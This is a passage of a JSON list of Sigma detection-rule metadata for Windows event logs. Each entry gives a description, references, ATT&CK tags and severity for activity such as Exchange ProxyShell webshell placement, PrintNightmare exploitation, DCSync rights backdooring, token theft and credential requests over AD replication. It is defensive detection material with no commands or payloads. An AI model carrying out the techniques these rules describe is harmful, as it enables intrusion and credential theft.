"logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects loading of diagcab packages from a remote path, as seen in DogWalk vulnerability", - "uuid": "50cb47b8-2c33-4b23-a2e9-4600657d9746", - "value": "Loading Diagcab Package From Remote Path", - "meta": { - "refs": [ - "https://twitter.com/nas_bench/status/1539679555908141061", - "https://twitter.com/j00sean/status/1537750439701225472", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/diagnosis/scripted/win_diagnosis_scripted_load_remote_diagcab.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/08/14", - "filename": "win_diagnosis_scripted_load_remote_diagcab.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Legitimate package hosted on a known and authorized remote location" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", - "uuid": "3db10f25-2527-4b79-8d4b-471eb900ee29", - "value": "GALLIUM Artefacts", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_apt_gallium.yml" - ], - "tags": [ - "attack.credential_access", - "attack.command_and_control", - "attack.t1071" - ], - "creation_date": "2020/02/07", - "filename": "win_apt_gallium.yml", - "author": "Tim Burrell", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This rule detects a DNS server error in which a specified plugin DLL (in registry) could not be loaded", - "uuid": "cbe51394-cd93-4473-b555-edf0144952d9", - "value": "DNS Server Error Failed Loading the ServerLevelPluginDLL", - "meta": { - "refs": [ - "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", - "https://technet.microsoft.com/en-us/library/cc735829(v=ws.10).aspx", - "https://twitter.com/gentilkiwi/status/861641945944391680", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_susp_dns_config.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ], - "creation_date": "2017/05/08", - "filename": "win_susp_dns_config.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects plugged USB devices", - "uuid": "1a4bd6e3-4c6e-405d-a9a3-53a116e341d4", - "value": "USB Device Plugged", - "meta": { - "refs": [ - "https://df-stream.com/2014/01/the-windows-7-event-log-and-usb-device/", - "https://www.techrepublic.com/article/how-to-track-down-usb-flash-drive-usage-in-windows-10s-event-viewer/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/driverframeworks/win_usb_device_plugged.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1200" - ], - "creation_date": "2017/11/09", - "filename": "win_usb_device_plugged.yml", - "author": "Florian Roth", - "level": "low", - "falsepositive": [ - "Legitimate administrative activity" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "A rule has been modified in the Windows Firewall exception list", - "uuid": "cde0a575-7d3d-4a49-9817-b8004a7bf105", - "value": "Added Rule in Windows Firewall with Advanced Security", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_add_rule.yml" - ], - "tags": "No established tags", - "creation_date": "2022/02/19", - "filename": "win_firewall_as_add_rule.yml", - "author": "frack113", - "level": "medium", - "falsepositive": "No established falsepositives", - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "A rule has been modified in the Windows Firewall exception list", - "uuid": "5570c4d9-8fdd-4622-965b-403a5a101aa0", - "value": "Modified Rule in Windows Firewall with Advanced Security", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_change_rule.yml" - ], - "tags": "No established tags", - "creation_date": "2022/02/19", - "filename": "win_firewall_as_change_rule.yml", - "author": "frack113", - "level": "low", - "falsepositive": "No established falsepositives", - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "A rule has been deleted in the Windows Firewall exception list.", - "uuid": "c187c075-bb3e-4c62-b4fa-beae0ffc211f", - "value": "Delete Rule in Windows Firewall with Advanced Security", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_delete_rule.yml" - ], - "tags": "No established tags", - "creation_date": "2022/02/19", - "filename": "win_firewall_as_delete_rule.yml", - "author": "frack113", - "level": "medium", - "falsepositive": "No established falsepositives", - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "The Windows Firewall service failed to load Group Policy.", - "uuid": "7ec15688-fd24-4177-ba43-1a950537ee39", - "value": "Failed to Load Policy in Windows Firewall with Advanced Security", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_failed.yml" - ], - "tags": "No established tags", - "creation_date": "2022/02/19", - "filename": "win_firewall_as_failed.yml", - "author": "frack113", - "level": "low", - "falsepositive": "No established falsepositives", - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Windows Firewall has been reset to its default configuration.", - "uuid": "04b60639-39c0-412a-9fbe-e82499c881a3", - "value": "Reset to Default Configuration Windows Firewall with Advanced Security", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_reset.yml" - ], - "tags": "No established tags", - "creation_date": "2022/02/19", - "filename": "win_firewall_as_reset.yml", - "author": "frack113", - "level": "low", - "falsepositive": "No established falsepositives", - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Setting have been change in Windows Firewall", - "uuid": "00bb5bd5-1379-4fcf-a965-a5b6f7478064", - "value": "Setting Change in Windows Firewall with Advanced Security", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_setting_change.yml" - ], - "tags": "No established tags", - "creation_date": "2022/02/19", - "filename": "win_firewall_as_setting_change.yml", - "author": "frack113", - "level": "low", - "falsepositive": "No established falsepositives", - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects possible Active Directory enumeration via LDAP", - "uuid": "31d68132-4038-47c7-8f8e-635a39a7c174", - "value": "LDAP Reconnaissance / Active Directory Enumeration", - "meta": { - "refs": [ - "https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/hunting-for-reconnaissance-activities-using-ldap-search-filters/ba-p/824726", - "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/PowerView.ps1", - "https://github.com/BloodHoundAD/SharpHound3/blob/7d96b991b1887ff50349ce59c80980bc0d95c86a/SharpHound3/LdapBuilder.cs", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ldap/win_ldap_recon.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.002", - "attack.t1087.002", - "attack.t1482" - ], - "creation_date": "2021/06/22", - "filename": "win_ldap_recon.yml", - "author": "Adeem Mawani", - "level": "medium", - "falsepositive": "No established falsepositives", - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects log entries that appear in exploitation attempts against MS Exchange RCE CVE-2021-42321", - "uuid": "c92f1896-d1d2-43c3-92d5-7a5b35c217bb", - "value": "Possible Exploitation of Exchange RCE CVE-2021-42321", - "meta": { - "refs": [ - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_cve_2021_42321.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1210" - ], - "creation_date": "2021/11/18", - "filename": "win_exchange_cve_2021_42321.yml", - "author": "Florian Roth, @testanull", - "level": "high", - "falsepositive": [ - "Unknown, please report false positives via https://github.com/SigmaHQ/sigma/issues" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects specific patterns found after a successful ProxyLogon exploitation in relation to a Commandlet invocation of Set-OabVirtualDirectory", - "uuid": "550d3350-bb8a-4ff3-9533-2ba533f4a1c0", - "value": "ProxyLogon MSExchange OabVirtualDirectory", - "meta": { - "refs": [ - "https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxylogon_oabvirtualdir.yml" - ], - "tags": [ - "attack.t1587.001", - "attack.resource_development" - ], - "creation_date": "2021/08/09", - "filename": "win_exchange_proxylogon_oabvirtualdir.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects a write of an Exchange CSR to an untypical directory or with aspx name suffix which can be used to place a webshell", - "uuid": "b7bc7038-638b-4ffd-880c-292c692209ef", - "value": "Certificate Request Export to Exchange Webserver", - "meta": { - "refs": [ - "https://twitter.com/GossiTheDog/status/1429175908905127938", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_certificate_generation.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ], - "creation_date": "2021/08/23", - "filename": "win_exchange_proxyshell_certificate_generation.yml", - "author": "Max Altgelt", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects a successful export of an Exchange mailbox to untypical directory or with aspx name suffix which can be used to place a webshell or the needed role assignment for it", - "uuid": "516376b4-05cd-4122-bae0-ad7641c38d48", - "value": "Mailbox Export to Exchange Webserver", - "meta": { - "refs": [ - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_mailbox_export.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ], - "creation_date": "2021/08/09", - "filename": "win_exchange_proxyshell_mailbox_export.yml", - "author": "Florian Roth, Rich Warren, Christian Burkard", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects removal of an exported Exchange mailbox which could be to cover tracks from ProxyShell exploit", - "uuid": "09570ae5-889e-43ea-aac0-0e1221fb3d95", - "value": "Remove Exported Mailbox from Exchange Webserver", - "meta": { - "refs": [ - "https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/modules/exploits/windows/http/exchange_proxyshell_rce.rb#L430", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_remove_mailbox_export.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070" - ], - "creation_date": "2021/08/27", - "filename": "win_exchange_proxyshell_remove_mailbox_export.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Rule to detect an adversary setting OabVirtualDirectory External URL property to a script in Exchange Management log", - "uuid": "9db37458-4df2-46a5-95ab-307e7f29e675", - "value": "Exchange Set OabVirtualDirectory ExternalUrl Property", - "meta": { - "refs": [ - "https://twitter.com/OTR_Community/status/1371053369071132675", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_set_oabvirtualdirectory_externalurl.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ], - "creation_date": "2021/03/15", - "filename": "win_exchange_set_oabvirtualdirectory_externalurl.yml", - "author": "Jose Rodriguez @Cyb3rPandaH", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the Installation of a Exchange Transport Agent", - "uuid": "4fe151c2-ecf9-4fae-95ae-b88ec9c2fca6", - "value": "MSExchange Transport Agent Installation", - "meta": { - "refs": [ - "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_transportagent.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.002" - ], - "creation_date": "2021/06/08", - "filename": "win_exchange_transportagent.yml", - "author": "Tobias Michalski", - "level": "medium", - "falsepositive": [ - "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects a failed installation of a Exchange Transport Agent", - "uuid": "c7d16cae-aaf3-42e5-9c1c-fb8553faa6fa", - "value": "Failed MSExchange Transport Agent Installation", - "meta": { - "refs": [ - "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_transportagent_failed.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.002" - ], - "creation_date": "2021/06/08", - "filename": "win_exchange_transportagent_failed.yml", - "author": "Tobias Michalski", - "level": "high", - "falsepositive": [ - "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects logons using NTLM, which could be caused by a legacy source or attackers", - "uuid": "98c3bcf1-56f2-49dc-9d8d-c66cf190238b", - "value": "NTLM Logon", - "meta": { - "refs": [ - "https://twitter.com/JohnLaTwC/status/1004895028995477505", - "https://goo.gl/PsqrhT", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_auth.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1550.002" - ], - "creation_date": "2018/06/08", - "filename": "win_susp_ntlm_auth.yml", - "author": "Florian Roth", - "level": "low", - "falsepositive": [ - "Legacy hosts" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects common NTLM brute force device names", - "uuid": "9c8acf1a-cbf9-4db6-b63c-74baabe03e59", - "value": "NTLM Brute Force", - "meta": { - "refs": [ - "https://www.varonis.com/blog/investigate-ntlm-brute-force", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_brute_force.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1110" - ], - "creation_date": "2022/02/02", - "filename": "win_susp_ntlm_brute_force.yml", - "author": "Jerry Shockley '@jsh0x'", - "level": "medium", - "falsepositive": [ - "Systems with names equal to the spoofed ones used by the brute force tools" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects logons using NTLM to hosts that are potentially not part of the domain.", - "uuid": "ce5678bb-b9aa-4fb5-be4b-e57f686256ad", - "value": "Potential Remote Desktop Connection to Non-Domain Host", - "meta": { - "refs": [ - "n/a", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_rdp.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2020/05/22", - "filename": "win_susp_ntlm_rdp.yml", - "author": "James Pemberton", - "level": "medium", - "falsepositive": [ - "Host connections to valid domains, exclude these.", - "Host connections not using host FQDN.", - "Host connections to external legitimate domains." - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects scenarios where an attacker enables the OpenSSH server and server starts to listening on SSH socket.", - "uuid": "3ce8e9a4-bc61-4c9b-8e69-d7e2492a8781", - "value": "OpenSSH Server Listening On Socket", - "meta": { - "refs": [ - "https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0008-Lateral%20Movement/T1021.004-Remote%20Service%20SSH", - "https://winaero.com/enable-openssh-server-windows-10/", - "https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse", - "https://virtualizationreview.com/articles/2020/05/21/ssh-server-on-windows-10.aspx", - "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/openssh/win_sshd_openssh_server_listening_on_socket.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.004" - ], - "creation_date": "2022/10/25", - "filename": "win_sshd_openssh_server_listening_on_socket.yml", - "author": "mdecrevoisier", - "level": "medium", - "falsepositive": [ - "Legitimate administrator activity" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects events of driver load errors in print service logs that could be a sign of successful exploitation attempts of print spooler vulnerability CVE-2021-1675", - "uuid": "4e64668a-4da1-49f5-a8df-9e2d5b866718", - "value": "Possible CVE-2021-1675 Print Spooler Exploitation", - "meta": { - "refs": [ - "https://github.com/hhlxf/PrintNightmare", - "https://github.com/afwu/PrintNightmare", - "https://twitter.com/fuzzyf10w/status/1410202370835898371", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/printservice/win_exploit_cve_2021_1675_printspooler.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569", - "cve.2021.1675" - ], - "creation_date": "2021/06/30", - "filename": "win_exploit_cve_2021_1675_printspooler.yml", - "author": "Florian Roth, KevTheHermit, fuzzyf10w, Tim Shelton", - "level": "high", - "falsepositive": [ - "Problems with printer drivers" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects driver load events print service operational log that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675", - "uuid": "f34d942d-c8c4-4f1f-b196-22471aecf10a", - "value": "CVE-2021-1675 Print Spooler Exploitation", - "meta": { - "refs": [ - "https://twitter.com/MalwareJake/status/1410421967463731200", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/printservice/win_exploit_cve_2021_1675_printspooler_operational.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569", - "cve.2021.1675" - ], - "creation_date": "2021/07/01", - "filename": "win_exploit_cve_2021_1675_printspooler_operational.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This detection uses Windows security events to detect suspicious access attempts to the registry key of Azure AD Health monitoring agent.\nThis detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object HKLM\\SOFTWARE\\Microsoft\\Microsoft Online\\Reporting\\MonitoringAgent.\n", - "uuid": "ff151c33-45fa-475d-af4f-c2f93571f4fe", - "value": "Azure AD Health Monitoring Agent Registry Keys Access", - "meta": { - "refs": [ - "https://o365blog.com/post/hybridhealthagent/", - "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_monitoring_agent.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_mon_agent_regkey_access.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1012" - ], - "creation_date": "2021/08/26", - "filename": "win_security_aadhealth_mon_agent_regkey_access.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This detection uses Windows security events to detect suspicious access attempts to the registry key values and sub-keys of Azure AD Health service agents (e.g AD FS).\nInformation from AD Health service agents can be used to potentially abuse some of the features provided by those services in the cloud (e.g. Federation).\nThis detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object: HKLM:\\SOFTWARE\\Microsoft\\ADHealthAgent.\nMake sure you set the SACL to propagate to its sub-keys.\n", - "uuid": "1d2ab8ac-1a01-423b-9c39-001510eae8e8", - "value": "Azure AD Health Service Agents Registry Keys Access", - "meta": { - "refs": [ - "https://o365blog.com/post/hybridhealthagent/", - "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_service_agent.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_svc_agent_regkey_access.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1012" - ], - "creation_date": "2021/08/26", - "filename": "win_security_aadhealth_svc_agent_regkey_access.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This rule tries to detect token impersonation and theft. (Example: DuplicateToken(Ex) and ImpersonateLoggedOnUser with the LOGON32_LOGON_NEW_CREDENTIALS flag.)", - "uuid": "02f7c9c1-1ae8-4c6a-8add-04693807f92f", - "value": "Access Token Abuse", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1134/001/", - "https://www.elastic.co/fr/blog/how-attackers-abuse-access-token-manipulation", - "https://www.manageengine.com/log-management/cyber-security/access-token-manipulation.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_access_token_abuse.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1134.001" - ], - "creation_date": "2022/11/06", - "filename": "win_security_access_token_abuse.yml", - "author": "Michaela Adams, Zach Mathis", - "level": "medium", - "falsepositive": [ - "Anti-Virus" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Backdooring domain object to grant the rights associated with DCSync to a regular user or machine account using Powerview\\Add-DomainObjectAcl DCSync Extended Right cmdlet, will allow to re-obtain the pwd hashes of any user/computer", - "uuid": "2c99737c-585d-4431-b61a-c911d86ff32f", - "value": "Powerview Add-DomainObjectAcl DCSync AD Extend Right", - "meta": { - "refs": [ - "https://twitter.com/menasec1/status/1111556090137903104", - "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_backdoor_dcsync_rights.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ], - "creation_date": "2019/04/03", - "filename": "win_security_account_backdoor_dcsync_rights.yml", - "author": "Samir Bousseaden; Roberto Rodriguez @Cyb3rWard0g; oscd.community; Tim Shelton; Maxence Fossat", - "level": "high", - "falsepositive": [ - "New Domain Controller computer account, check user SIDs within the value attribute of event 5136 and verify if it's a regular user or DC computer account." - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detect priv users or groups recon based on 4661 eventid and known privileged users or groups SIDs", - "uuid": "35ba1d85-724d-42a3-889f-2e2362bcaf23", - "value": "AD Privileged Users or Groups Reconnaissance", - "meta": { - "refs": [ - "https://blog.menasec.net/2019/02/threat-hunting-5-detecting-enumeration.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087.002" - ], - "creation_date": "2019/04/03", - "filename": "win_security_account_discovery.yml", - "author": "Samir Bousseaden", - "level": "high", - "falsepositive": [ - "If source account name is not an admin then its super suspicious" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects certificate creation with template allowing risk permission subject", - "uuid": "5ee3a654-372f-11ec-8d3d-0242ac130003", - "value": "ADCS Certificate Template Configuration Vulnerability", - "meta": { - "refs": [ - "https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.credential_access" - ], - "creation_date": "2021/11/17", - "filename": "win_security_adcs_certificate_template_configuration_vulnerability.yml", - "author": "Orlinum , BlueDefenZer", - "level": "low", - "falsepositive": [ - "Administrator activity", - "Proxy SSL certificate with subject modification", - "Smart card enrollement" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects certificate creation with template allowing risk permission subject and risky EKU", - "uuid": "bfbd3291-de87-4b7c-88a2-d6a5deb28668", - "value": "ADCS Certificate Template Configuration Vulnerability with Risky EKU", - "meta": { - "refs": [ - "https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability_eku.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.credential_access" - ], - "creation_date": "2021/11/17", - "filename": "win_security_adcs_certificate_template_configuration_vulnerability_eku.yml", - "author": "Orlinum , BlueDefenZer", - "level": "high", - "falsepositive": [ - "Administrator activity", - "Proxy SSL certificate with subject modification", - "Smart card enrollement" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation or removal of a computer. Can be used to detect attacks such as DCShadow via the creation of a new SPN.", - "uuid": "20d96d95-5a20-4cf1-a483-f3bda8a7c037", - "value": "Add or Remove Computer from DC", - "meta": { - "refs": [ - "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4741", - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4743", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_add_remove_computer.yml" - ], - "tags": "No established tags", - "creation_date": "2022/10/14", - "filename": "win_security_add_remove_computer.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects logon with \"Special groups\" and \"Special Privileges\" can be thought of as Administrator groups or privileges.", - "uuid": "94309181-d345-4cbf-b5fe-061769bdf9cb", - "value": "User with Privileges Logon", - "meta": { - "refs": [ - "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672", - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4964", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_logon.yml" - ], - "tags": "No established tags", - "creation_date": "2022/10/14", - "filename": "win_security_admin_logon.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detect remote login by Administrator user (depending on internal pattern).", - "uuid": "0f63e1ef-1eb9-4226-9d54-8927ca08520a", - "value": "Admin User Remote Logon", - "meta": { - "refs": [ - "https://car.mitre.org/wiki/CAR-2016-04-005", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_rdp_login.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1078.001", - "attack.t1078.002", - "attack.t1078.003", - "car.2016-04-005" - ], - "creation_date": "2017/10/29", - "filename": "win_security_admin_rdp_login.yml", - "author": "juju4", - "level": "low", - "falsepositive": [ - "Legitimate administrative activity." - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects access to $ADMIN share", - "uuid": "098d7118-55bc-4912-a836-dc6483a8d150", - "value": "Access to ADMIN$ Share", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_share_access.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ], - "creation_date": "2017/03/04", - "filename": "win_security_admin_share_access.yml", - "author": "Florian Roth", - "level": "low", - "falsepositive": [ - "Legitimate administrative activity" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects WRITE_DAC access to a domain object", - "uuid": "028c7842-4243-41cd-be6f-12f3cf1a26c7", - "value": "AD Object WriteDAC Access", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190101151110.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_object_writedac_access.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1222.001" - ], - "creation_date": "2019/09/12", - "filename": "win_security_ad_object_writedac_access.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects potential abuse of Active Directory Replication Service (ADRS) from a non machine account to request credentials.", - "uuid": "17d619c1-e020-4347-957e-1d1207455c93", - "value": "Active Directory Replication from Non Machine Account", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-180815210510.html", - 